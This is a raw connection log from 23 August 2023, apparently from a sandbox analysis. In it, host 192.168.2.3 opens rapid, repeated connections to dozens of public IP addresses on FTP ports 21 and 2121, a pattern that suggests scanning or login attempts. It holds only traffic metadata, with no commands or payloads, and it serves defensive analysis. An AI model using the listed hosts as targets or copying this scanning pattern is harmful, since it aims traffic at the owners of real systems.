Aug 23, 2023 09:16:30.968569994 CEST	2121	52186	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:30.970552921 CEST	2121	52192	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:30.970685005 CEST	52192	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:30.978344917 CEST	52193	2121	192.168.2.3	65.79.251.19
Aug 23, 2023 09:16:30.980582952 CEST	21	52153	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:30.980698109 CEST	52194	21	192.168.2.3	184.26.213.212
Aug 23, 2023 09:16:30.981594086 CEST	21	52188	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:30.981686115 CEST	52188	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:30.983587027 CEST	21	52187	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:31.054147959 CEST	52195	2121	192.168.2.3	184.26.213.212
Aug 23, 2023 09:16:31.065726995 CEST	21	52187	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:31.065938950 CEST	21	52191	65.79.251.19	192.168.2.3
Aug 23, 2023 09:16:31.066746950 CEST	52187	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:31.074933052 CEST	21	52166	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:31.082851887 CEST	21	52187	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:31.082900047 CEST	21	52187	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:31.082962036 CEST	21	52187	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:31.083122015 CEST	52187	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:31.083230019 CEST	52187	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:31.084084034 CEST	52174	2121	192.168.2.3	41.23.190.40
Aug 23, 2023 09:16:31.084086895 CEST	52196	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:31.094662905 CEST	21	52189	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:31.099143028 CEST	52189	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:31.099307060 CEST	21	52187	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:31.100265026 CEST	21	52196	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:31.102041006 CEST	52196	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:31.107558966 CEST	2121	52193	65.79.251.19	192.168.2.3
Aug 23, 2023 09:16:31.116265059 CEST	52197	21	192.168.2.3	190.64.144.252
Aug 23, 2023 09:16:31.126668930 CEST	21	52182	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:31.128310919 CEST	21	52182	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:31.132608891 CEST	52182	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:31.166210890 CEST	2121	52192	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:31.168713093 CEST	52192	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:31.201154947 CEST	2121	52192	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:31.202228069 CEST	21	52188	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:31.202670097 CEST	2121	52192	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:31.202878952 CEST	52188	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:31.204166889 CEST	52192	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:31.239192009 CEST	2121	52192	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:31.239527941 CEST	52192	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:31.273273945 CEST	2121	52192	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:31.273319006 CEST	2121	52192	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:31.273439884 CEST	52192	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:31.273792028 CEST	52192	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:31.274379015 CEST	52198	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:31.289136887 CEST	52200	21	192.168.2.3	71.191.197.69
Aug 23, 2023 09:16:31.289194107 CEST	52199	2121	192.168.2.3	190.64.144.252
Aug 23, 2023 09:16:31.293723106 CEST	21	52196	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:31.293767929 CEST	2121	52174	41.23.190.40	192.168.2.3
Aug 23, 2023 09:16:31.294430971 CEST	52196	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:31.305109024 CEST	21	52182	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:31.307087898 CEST	2121	52192	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:31.307147026 CEST	2121	52198	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:31.307329893 CEST	52198	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:31.310343981 CEST	52182	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:31.310751915 CEST	21	52196	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:31.310924053 CEST	21	52196	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:31.312108040 CEST	52196	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:31.318478107 CEST	52117	21	192.168.2.3	34.168.130.46
Aug 23, 2023 09:16:31.318491936 CEST	52113	2121	192.168.2.3	79.154.27.80
Aug 23, 2023 09:16:31.318501949 CEST	52121	2121	192.168.2.3	37.68.56.244
Aug 23, 2023 09:16:31.318501949 CEST	52116	2121	192.168.2.3	34.168.130.46
Aug 23, 2023 09:16:31.318516970 CEST	52115	2121	192.168.2.3	82.194.44.194
Aug 23, 2023 09:16:31.318741083 CEST	52114	2121	192.168.2.3	173.245.64.192
Aug 23, 2023 09:16:31.328500032 CEST	21	52196	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:31.329555035 CEST	21	52189	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:31.330060005 CEST	52189	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:31.334358931 CEST	52170	21	192.168.2.3	50.114.86.160
Aug 23, 2023 09:16:31.349730968 CEST	52171	2121	192.168.2.3	50.114.86.160
Aug 23, 2023 09:16:31.355623960 CEST	21	52197	190.64.144.252	192.168.2.3
Aug 23, 2023 09:16:31.356796026 CEST	52197	21	192.168.2.3	190.64.144.252
Aug 23, 2023 09:16:31.381031036 CEST	52122	21	192.168.2.3	82.194.44.194
Aug 23, 2023 09:16:31.381032944 CEST	52118	2121	192.168.2.3	89.211.195.93
Aug 23, 2023 09:16:31.381067991 CEST	52120	21	192.168.2.3	79.154.27.80
Aug 23, 2023 09:16:31.381072998 CEST	52112	21	192.168.2.3	37.68.56.244
Aug 23, 2023 09:16:31.381277084 CEST	52123	21	192.168.2.3	173.245.64.192
Aug 23, 2023 09:16:31.381284952 CEST	52124	21	192.168.2.3	89.211.195.93
Aug 23, 2023 09:16:31.389295101 CEST	21	52196	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:31.389744997 CEST	52196	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:31.405946016 CEST	21	52196	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:31.406016111 CEST	21	52196	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:31.406052113 CEST	21	52196	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:31.406215906 CEST	52196	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:31.406719923 CEST	52196	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:31.407360077 CEST	52201	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:31.416374922 CEST	21	52188	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:31.423130035 CEST	21	52196	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:31.423995972 CEST	21	52201	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:31.424177885 CEST	52201	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:31.459224939 CEST	52172	21	192.168.2.3	41.23.190.40
Aug 23, 2023 09:16:31.460278988 CEST	52203	21	192.168.2.3	185.167.33.174
Aug 23, 2023 09:16:31.460282087 CEST	52202	2121	192.168.2.3	71.191.197.69
Aug 23, 2023 09:16:31.481962919 CEST	21	52182	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:31.481987000 CEST	21	52182	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:31.482120037 CEST	52182	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:31.482356071 CEST	52182	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:31.483643055 CEST	52204	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:31.499860048 CEST	21	52170	50.114.86.160	192.168.2.3
Aug 23, 2023 09:16:31.504901886 CEST	52205	2121	192.168.2.3	185.167.33.174
Aug 23, 2023 09:16:31.510865927 CEST	2121	52198	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:31.513432026 CEST	52198	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:31.513751984 CEST	2121	52171	50.114.86.160	192.168.2.3
Aug 23, 2023 09:16:31.514411926 CEST	52206	21	192.168.2.3	49.160.144.137
Aug 23, 2023 09:16:31.545562983 CEST	2121	52198	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:31.546859980 CEST	2121	52205	185.167.33.174	192.168.2.3
Aug 23, 2023 09:16:31.546952009 CEST	2121	52198	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:31.547599077 CEST	52198	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:31.558482885 CEST	21	52189	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:31.559581041 CEST	21	52189	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:31.560592890 CEST	52189	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:31.584638119 CEST	2121	52198	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:31.590363979 CEST	52198	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:31.590874910 CEST	52191	21	192.168.2.3	65.79.251.19
Aug 23, 2023 09:16:31.600792885 CEST	21	52197	190.64.144.252	192.168.2.3
Aug 23, 2023 09:16:31.601237059 CEST	52197	21	192.168.2.3	190.64.144.252
Aug 23, 2023 09:16:31.601900101 CEST	52207	2121	192.168.2.3	49.160.144.137
Aug 23, 2023 09:16:31.615590096 CEST	52193	2121	192.168.2.3	65.79.251.19
Aug 23, 2023 09:16:31.622965097 CEST	21	52201	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:31.623020887 CEST	2121	52198	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:31.623580933 CEST	2121	52198	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:31.623966932 CEST	52198	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:31.623966932 CEST	52198	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:31.624324083 CEST	52201	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:31.630853891 CEST	52208	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:31.631014109 CEST	52125	21	192.168.2.3	70.75.182.22
Aug 23, 2023 09:16:31.631027937 CEST	52126	2121	192.168.2.3	86.22.214.170
Aug 23, 2023 09:16:31.631032944 CEST	52139	21	192.168.2.3	72.220.37.29
Aug 23, 2023 09:16:31.631064892 CEST	52137	21	192.168.2.3	182.228.139.206
Aug 23, 2023 09:16:31.631086111 CEST	52138	2121	192.168.2.3	182.228.139.206
Aug 23, 2023 09:16:31.640847921 CEST	21	52201	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:31.642338037 CEST	21	52201	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:31.642787933 CEST	52201	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:31.653795958 CEST	21	52182	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:31.655241966 CEST	21	52204	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:31.655514956 CEST	52204	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:31.656143904 CEST	2121	52198	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:31.659593105 CEST	21	52201	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:31.660181046 CEST	2121	52208	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:31.660691023 CEST	52208	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:31.680811882 CEST	21	52172	41.23.190.40	192.168.2.3
Aug 23, 2023 09:16:31.687793970 CEST	52209	21	192.168.2.3	59.26.118.63
Aug 23, 2023 09:16:31.693525076 CEST	52129	21	192.168.2.3	198.232.119.10
Aug 23, 2023 09:16:31.693553925 CEST	52142	21	192.168.2.3	76.50.93.60
Aug 23, 2023 09:16:31.693553925 CEST	52133	21	192.168.2.3	71.51.97.175
Aug 23, 2023 09:16:31.693561077 CEST	52127	2121	192.168.2.3	70.75.182.22
Aug 23, 2023 09:16:31.693561077 CEST	52145	2121	192.168.2.3	76.50.93.60
Aug 23, 2023 09:16:31.693562984 CEST	52128	21	192.168.2.3	86.22.214.170
Aug 23, 2023 09:16:31.693567991 CEST	52130	2121	192.168.2.3	198.232.119.10
Aug 23, 2023 09:16:31.693567991 CEST	52140	2121	192.168.2.3	72.220.37.29
Aug 23, 2023 09:16:31.693568945 CEST	52134	2121	192.168.2.3	71.51.97.175
Aug 23, 2023 09:16:31.727144957 CEST	52148	21	192.168.2.3	183.109.209.72
Aug 23, 2023 09:16:31.729262114 CEST	21	52191	65.79.251.19	192.168.2.3
Aug 23, 2023 09:16:31.740890026 CEST	21	52201	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:31.744482994 CEST	2121	52193	65.79.251.19	192.168.2.3
Aug 23, 2023 09:16:31.745196104 CEST	52201	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:31.756323099 CEST	52149	2121	192.168.2.3	183.109.209.72
Aug 23, 2023 09:16:31.761596918 CEST	21	52201	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:31.761643887 CEST	21	52201	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:31.762475967 CEST	52201	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:31.762622118 CEST	21	52201	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:31.762695074 CEST	52201	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:31.763580084 CEST	52210	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:31.779567957 CEST	21	52201	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:31.780047894 CEST	21	52210	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:31.780571938 CEST	52210	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:31.830446005 CEST	21	52189	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:31.841351986 CEST	21	52197	190.64.144.252	192.168.2.3
Aug 23, 2023 09:16:31.841586113 CEST	52197	21	192.168.2.3	190.64.144.252
Aug 23, 2023 09:16:31.843589067 CEST	21	52197	190.64.144.252	192.168.2.3
Aug 23, 2023 09:16:31.843833923 CEST	52197	21	192.168.2.3	190.64.144.252
Aug 23, 2023 09:16:31.844861031 CEST	2121	52207	49.160.144.137	192.168.2.3
Aug 23, 2023 09:16:31.857733011 CEST	2121	52208	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:31.858805895 CEST	52208	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:31.881102085 CEST	52146	2121	192.168.2.3	31.23.125.241
Aug 23, 2023 09:16:31.881114960 CEST	52174	2121	192.168.2.3	41.23.190.40
Aug 23, 2023 09:16:31.881138086 CEST	52147	21	192.168.2.3	31.23.125.241
Aug 23, 2023 09:16:31.888518095 CEST	2121	52208	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:31.890042067 CEST	2121	52208	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:31.892172098 CEST	52208	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:31.912302971 CEST	52152	2121	192.168.2.3	4.154.118.69
Aug 23, 2023 09:16:31.912308931 CEST	52151	21	192.168.2.3	4.154.118.69
Aug 23, 2023 09:16:31.912342072 CEST	52154	21	192.168.2.3	100.8.96.229
Aug 23, 2023 09:16:31.924396038 CEST	2121	52208	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:31.930845976 CEST	52208	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:31.947201967 CEST	21	52209	59.26.118.63	192.168.2.3
Aug 23, 2023 09:16:31.961389065 CEST	2121	52208	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:31.961430073 CEST	2121	52208	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:31.961594105 CEST	52208	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:31.962101936 CEST	52208	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:31.962116957 CEST	52211	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:31.975599051 CEST	52212	2121	192.168.2.3	59.26.118.63
Aug 23, 2023 09:16:31.976710081 CEST	52213	21	192.168.2.3	76.104.49.137
Aug 23, 2023 09:16:31.976716042 CEST	52214	2121	192.168.2.3	76.104.49.137
Aug 23, 2023 09:16:31.977372885 CEST	52215	21	192.168.2.3	200.39.100.99
Aug 23, 2023 09:16:31.979674101 CEST	21	52204	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:31.981817007 CEST	52216	2121	192.168.2.3	200.39.100.99
Aug 23, 2023 09:16:31.981821060 CEST	52204	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:31.981865883 CEST	52217	21	192.168.2.3	49.61.150.119
Aug 23, 2023 09:16:31.990962982 CEST	52155	2121	192.168.2.3	100.8.96.229
Aug 23, 2023 09:16:31.990973949 CEST	52218	2121	192.168.2.3	49.61.150.119
Aug 23, 2023 09:16:31.991561890 CEST	2121	52208	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:31.991604090 CEST	2121	52211	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:31.995551109 CEST	52211	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:31.998366117 CEST	21	52210	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:31.999816895 CEST	52210	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:32.017127037 CEST	21	52210	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:32.019666910 CEST	21	52210	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:32.031194925 CEST	52210	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:32.047600985 CEST	21	52210	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:32.084131956 CEST	52157	21	192.168.2.3	197.204.53.114
Aug 23, 2023 09:16:32.084940910 CEST	52205	2121	192.168.2.3	185.167.33.174
Aug 23, 2023 09:16:32.105042934 CEST	2121	52174	41.23.190.40	192.168.2.3
Aug 23, 2023 09:16:32.105683088 CEST	52219	21	192.168.2.3	178.54.121.243
Aug 23, 2023 09:16:32.125415087 CEST	2121	52205	185.167.33.174	192.168.2.3
Aug 23, 2023 09:16:32.131771088 CEST	52220	2121	192.168.2.3	178.54.121.243
Aug 23, 2023 09:16:32.131920099 CEST	21	52210	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:32.132330894 CEST	52210	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:32.148562908 CEST	21	52210	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:32.148581982 CEST	21	52210	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:32.148602962 CEST	21	52210	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:32.148663044 CEST	52210	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:32.148824930 CEST	52210	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:32.150285006 CEST	52221	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:32.153074980 CEST	21	52204	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:32.154892921 CEST	21	52204	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:32.155153036 CEST	52204	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:32.155479908 CEST	21	52219	178.54.121.243	192.168.2.3
Aug 23, 2023 09:16:32.165230036 CEST	21	52210	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:32.167352915 CEST	21	52221	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:32.167614937 CEST	52221	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:32.181718111 CEST	2121	52220	178.54.121.243	192.168.2.3
Aug 23, 2023 09:16:32.201987982 CEST	2121	52211	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:32.202230930 CEST	52211	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:32.209147930 CEST	52159	2121	192.168.2.3	197.204.53.114
Aug 23, 2023 09:16:32.231347084 CEST	2121	52211	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:32.232913017 CEST	2121	52211	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:32.233378887 CEST	2121	52212	59.26.118.63	192.168.2.3
Aug 23, 2023 09:16:32.233824968 CEST	52211	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:32.240509033 CEST	52191	21	192.168.2.3	65.79.251.19
Aug 23, 2023 09:16:32.250529051 CEST	52222	21	192.168.2.3	88.136.23.248
Aug 23, 2023 09:16:32.250705957 CEST	52223	2121	192.168.2.3	88.136.23.248
Aug 23, 2023 09:16:32.250909090 CEST	52224	21	192.168.2.3	38.173.132.62
Aug 23, 2023 09:16:32.250961065 CEST	52225	21	192.168.2.3	73.235.4.238
Aug 23, 2023 09:16:32.250994921 CEST	52227	2121	192.168.2.3	73.235.4.238
Aug 23, 2023 09:16:32.251000881 CEST	52226	2121	192.168.2.3	38.173.132.62
Aug 23, 2023 09:16:32.256025076 CEST	52193	2121	192.168.2.3	65.79.251.19
Aug 23, 2023 09:16:32.265875101 CEST	2121	52211	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:32.266228914 CEST	52211	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:32.295968056 CEST	2121	52211	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:32.296188116 CEST	52211	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:32.296561003 CEST	2121	52211	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:32.296664000 CEST	52211	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:32.297063112 CEST	52228	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:32.302889109 CEST	52160	21	192.168.2.3	47.149.73.41
Aug 23, 2023 09:16:32.318542957 CEST	52161	2121	192.168.2.3	47.149.73.41
Aug 23, 2023 09:16:32.325328112 CEST	2121	52211	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:32.327318907 CEST	21	52204	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:32.327742100 CEST	52204	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:32.328871012 CEST	2121	52228	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:32.328963995 CEST	52228	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:32.349788904 CEST	52207	2121	192.168.2.3	49.160.144.137
Aug 23, 2023 09:16:32.381714106 CEST	21	52191	65.79.251.19	192.168.2.3
Aug 23, 2023 09:16:32.382616043 CEST	52229	21	192.168.2.3	95.252.24.109
Aug 23, 2023 09:16:32.384341002 CEST	21	52221	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:32.384712934 CEST	52221	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:32.384910107 CEST	2121	52193	65.79.251.19	192.168.2.3
Aug 23, 2023 09:16:32.385852098 CEST	52230	2121	192.168.2.3	95.252.24.109
Aug 23, 2023 09:16:32.401134968 CEST	21	52221	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:32.401519060 CEST	21	52221	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:32.401851892 CEST	52221	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:32.416960955 CEST	21	52188	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:32.417973995 CEST	21	52221	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:32.434775114 CEST	52188	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:32.459207058 CEST	52209	21	192.168.2.3	59.26.118.63
Aug 23, 2023 09:16:32.485820055 CEST	21	52221	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:32.486134052 CEST	52221	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:32.503185034 CEST	21	52204	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:32.503251076 CEST	21	52204	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:32.503400087 CEST	52204	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:32.503465891 CEST	52204	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:32.504156113 CEST	52231	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:32.506247044 CEST	21	52221	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:32.506460905 CEST	21	52221	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:32.506495953 CEST	21	52221	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:32.506613016 CEST	52221	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:32.506719112 CEST	52221	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:32.507360935 CEST	52232	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:32.522831917 CEST	21	52221	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:32.523695946 CEST	21	52232	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:32.523813963 CEST	52232	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:32.526276112 CEST	2121	52228	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:32.526722908 CEST	52228	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:32.564723015 CEST	2121	52228	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:32.566112041 CEST	2121	52228	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:32.566790104 CEST	52228	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:32.592583895 CEST	2121	52207	49.160.144.137	192.168.2.3
Aug 23, 2023 09:16:32.601478100 CEST	2121	52228	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:32.601896048 CEST	52228	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:32.631077051 CEST	52205	2121	192.168.2.3	185.167.33.174
Aug 23, 2023 09:16:32.634578943 CEST	2121	52228	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:32.634797096 CEST	52228	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:32.635255098 CEST	2121	52228	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:32.635322094 CEST	52228	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:32.636056900 CEST	52233	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:32.648101091 CEST	21	52188	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:32.648431063 CEST	21	52188	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:32.648489952 CEST	21	52188	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:32.648617029 CEST	52188	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:32.648683071 CEST	52188	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:32.649297953 CEST	52234	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:32.662404060 CEST	52219	21	192.168.2.3	178.54.121.243
Aug 23, 2023 09:16:32.666871071 CEST	2121	52233	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:32.666960001 CEST	52233	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:32.667510033 CEST	2121	52228	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:32.671632051 CEST	2121	52205	185.167.33.174	192.168.2.3
Aug 23, 2023 09:16:32.672408104 CEST	52235	21	192.168.2.3	218.44.250.29
Aug 23, 2023 09:16:32.674865007 CEST	21	52204	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:32.675352097 CEST	21	52231	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:32.675438881 CEST	52231	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:32.693624020 CEST	52220	2121	192.168.2.3	178.54.121.243
Aug 23, 2023 09:16:32.712109089 CEST	21	52219	178.54.121.243	192.168.2.3
Aug 23, 2023 09:16:32.716202021 CEST	21	52209	59.26.118.63	192.168.2.3
Aug 23, 2023 09:16:32.730811119 CEST	21	52232	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:32.738955021 CEST	52232	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:32.740442991 CEST	52212	2121	192.168.2.3	59.26.118.63
Aug 23, 2023 09:16:32.743431091 CEST	2121	52220	178.54.121.243	192.168.2.3
Aug 23, 2023 09:16:32.755249977 CEST	21	52232	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:32.755832911 CEST	21	52232	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:32.756279945 CEST	52232	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:32.772629023 CEST	21	52232	46.251.235.80	192.168.2.3
